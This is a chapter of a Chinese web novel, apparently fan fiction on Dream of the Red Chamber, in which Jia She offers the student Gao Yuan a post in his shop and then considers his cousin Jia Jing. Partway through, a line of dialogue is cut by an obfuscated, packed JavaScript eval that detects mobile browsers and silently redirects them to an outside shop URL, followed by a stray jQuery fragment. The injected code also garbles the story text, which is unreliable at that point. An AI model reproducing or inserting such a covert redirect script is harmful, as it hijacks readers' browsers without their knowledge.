“不必多礼,坐吧。”贾赦抬手指了指右手边的椅子。
“谢老爷。”高远看了贾赦一眼,小心地坐下。
刚刚坐稳,夏榆端了茶果点心进门,一一摆放在高远手边。
“多谢姐姐。”高远连忙起身道谢。
“小爷请慢用。”夏榆轻声笑了,握着托盘,转身出了门。
高远又对贾赦行礼,“多谢老爷赐下茶果。”
贾赦看得笑出声来,“你来我这里,竟是道谢来的?快坐下吃吃茶吧!”
他取了一块马蹄糕,冲着高远挥了挥,“你既谢了这许多回,便先尝尝这东西值不值。”
话落,贾赦将马蹄糕塞进嘴里,鼓起腮帮子嚼啊嚼。
高远微微红了脸,重新坐下,捻起一块桂花糕,拿着香茶送下去,囫囵个儿也没吃出什么滋味来,却对贾赦道,“老爷这的东西真真是好,连随处可见的桂花糕,都别有一番滋味。”
听这话音,讨好之意颇重,贾赦微微侧过身来,定定看着高远,“你可知晓,我今日找你回来,所为何事?”
“我听核桃小哥说了,本是要我与二老爷对峙的。”高远立时坐正,坦然答道,“不过待我到时,老爷已不需要我出声。如今老爷要我做什么,我却是不知了。”
“我寻你来,是想问问你今后的打算。”贾赦道。
高远今年十六岁,以家塾的规矩,他已临近离开的时候了。
但在贾代儒不上心的情况下,他能凭自己背下这许多书,其心智和意志皆不可小觑。
尤其马广平探查到,高远并非天生记忆力过人,但他甚至将五经中的其他几本也硬生生背得七七八八,只是那几本书更为晦涩,不通其中句读的高远不愿示人而已。
这样一个一心向学的孩子,又是被贾家的家学给耽误了,贾赦着实不忍就此断了他的求学路。
只是按世情来看,十六岁的年纪,早已不是懵懂无知的孩童,就算成婚生子不用着急,养家糊口的责任也该承担一部分了。
故而他向高远提议,等新的先生到来之后,让高远留在家塾任助教。既可以得一分薪俸补贴家中,又能在空闲之时跟着先生再学一学,或许便能为自己挣出一个功名来。
听完贾赦的话,高远缓缓起身,郑重地向贾赦深深一礼,“多谢老爷。”
他与老爷昨日才相识,不,或许用不上相识,是老爷昨日才知晓他这个人。毕竟他的长辈虽与老爷有些亲缘,却早在多年前便已离世,他也是厚着脸皮才来了这贾家家塾。
听老爷的话音,便知晓他还未曾得知他的身份,这一份助教的差事,纯是老爷爱惜,才特特为他想出来的,如何不让他感动。
“你也不必如何谢我。”贾赦随意地摆摆手,“给你一份差事,与我不过举手之劳,往后能走到哪一步,也只能靠你自己。”
他微微叹息,直言提醒,“从我收到的消息来看,你虽是刻苦,但天分着实不算高。”
高远直起身来,跟着叹了口气,垂眸点头,“老爷说的,我早早便知晓了,以往背书也不过是不愿空耗时光罢了。”
贾赦意外地坐直了身体,“听你的话音,竟像是不愿留在家塾做助教?”
“是,小子多谢老爷好意,但我要不起。”高远正色答道。
“你是顾虑家中,方才如此?”贾赦恍然,暗道不该只得了一半消息,便因心下不忍而将人带回来,如今两眼一抹黑,可真是有几分不畅。
“是,也不是。”高远答道,“自我入家塾起,想的便是长成家中的支柱。如今寡母病弱,幼妹花期将至,若我留在家塾,怕是照样无法为母亲买来好药材,也攒不了多少嫁妆给妹妹。”
“再者就是,我于读书一道天分不高,便是再继续苦读,也不一定能有收获,我又何必在一条道上走到黑。不如换个方式,或许还能实现愿景。”
贾赦点点头,又问道,“那你离开家塾之后,又准备作何营生?”
高远双眼微微一亮,认真说道,“我于读书一道天分寻常,但于数算却极为得心应手。我原本想的是,往各商铺找找账房的活计。若是不行,便先做个伙计,再寻机升到账房乃至掌柜。”
贾赦将他打量了一圈,道,“你倒是不同常人一般妄自菲薄,而且还挺务实。”
“生活所迫罢了。”高远笑笑,继续说道,“不过之前我也有想过,若是过些年攒足了本钱,便自己出来开个铺子。”
“你说了之前,看来如今的你有了别的心思。”贾赦淡淡道。
“老爷慧眼如炬。”高远又一躬身,双目直视贾赦道,“自老爷昨日来家塾,小子便换了心思,想要投靠老爷。”
贾赦疑惑地问,“你与蓉哥儿同在家塾许多年,与我却将将谋面,为何舍他选我?”
高远答道,“小蓉大爷不大爱管俗事,我便是想要依附,他也不愿容我。”
他也不是没尝试过,然而好容易应付了贾蓉的下人之后,也只能跟着贾蓉混混吃喝,略一暗示贾蓉便满脸不耐,他便也放弃了。
“说起不管事,宁荣二府我才是最不管事的那一个才对吧?”贾赦狐疑。他可喜欢这个名声了,还想着继续过他的悠闲日子呢!
“原本或许是如此,但自昨日家塾和今日祠堂之事,贾家上下,谁又会再信那些无稽的传言?”高远一脸崇敬道。
不出手则已,一出手,掀了家塾、折了族老、连族长父子都被打了板子,偏偏人人还要说他的好话,谁再将贾赦当成一个无能纨绔谁是傻子。
“真是麻烦!”贾赦烦躁地摆了摆手。但家塾的事,他又不能不管!早知如此,他昨日就该先往宁国府去忽悠贾珍!真是失策!失策!
暗自懊恼了一会儿,他也只能暂且将其抛开,处理眼前满脸期待的高远。
略想了想,他道,“行吧,看在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338285|135759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家塾的这点香火情,我给你一个机会。等新的先生到了家塾,我就让你去我的铺子里。但是当账房还是当伙计,就看你自己了。”
“多谢老爷!”高远兴奋地道谢。外头不知多少铺子,想要求一个靠山而不得。他要是能成为贾赦铺子的掌柜,可比他自己开铺子强了不知多少倍。
按捺住激动的心情,他忍不住问道,“老爷,我们这就写身契?”
大家族的心腹账房和掌柜都会签死契或者长期的活契,高远也不奢望自己能成为例外。他只想早早签了身契,得到老爷信任,能够爬得更快一点。
“身契先别急,”贾赦摇了摇头,就事论事,“你说自己数算了得,但我却未曾见过,还是等到了铺子里查验查验。若是老人们都认可了,再来说契约的事吧。”
若是得不到认可,一个普通伙计的契约,更犯不着贾赦本人经手了。
高远立刻领会了贾赦的意思,认同地点头,“老爷说的是,是我太心急了。”
从昨日主动展现自己,到今日主动投效,可以称一句有勇有谋,不骄不躁,贾赦心里更满意了些。
他暗自想着,就算这高远没有数算的天分,做不了账房掌柜,也能试试往其他方向培养培养。总归那陶梓进之前置下的产业五花八门,空缺的地方可多着呢。
打定主意,贾赦便不再多说,命人将他送回家塾去。如今家塾矮子里拔高个,只高远学得最好,先生没到之前,还需得他顶上才行。
待高远走后,贾赦重新歪到了炕上,默默思量明日该如何对待贾敬。
贾敬比他大了八岁,自贾赦有记忆起,隔壁堂兄就是所有人口中赞扬的对象。
小小年纪便文采斐然,进退有度,不愧是宁国府嫡脉,引领贾家的未来族长……与贾赦这个堪称混世魔王的荣国府嫡长子完全不一样。
也幸好贾赦未曾有过太多继承发扬荣国府的执念,否则有这么一位明珠一般的堂兄在前,贾赦都怕自己坏了心性走歪路子。
不过贾赦虽然未曾对贾敬生出隔阂,但彼此年纪差距在这儿,走的路子也完全不一样,故而交集也不甚多。
等到后来贾赦关上院门独自过活,贾敬又入了京城外的玄真观修道,二人更是几年都不一定能见上一面。
思来想去,贾赦对贾敬这位堂兄,除了旧时的文士袍,和近年改穿的道袍,竟没多少其他的印象。这样的情况下,他能想到什么对策?
他叹了口气,站起身来,罢了罢了,没个前因后果,也没个旧情近况,他便是窝在屋子里想破脑袋,怕是也想不出个所以然来。
今儿可是迎春搬家的好日子,他去了祠堂,将搬家的事情全推给了邢夫人。如今空闲了下来,至少也得挑两个礼物给这对母女,表表自己的心意。
嗯,或许可以先去看看迎春的家当安置得如何,若是都妥当了,正好带她二人出府,让她们自己逛一逛选一选。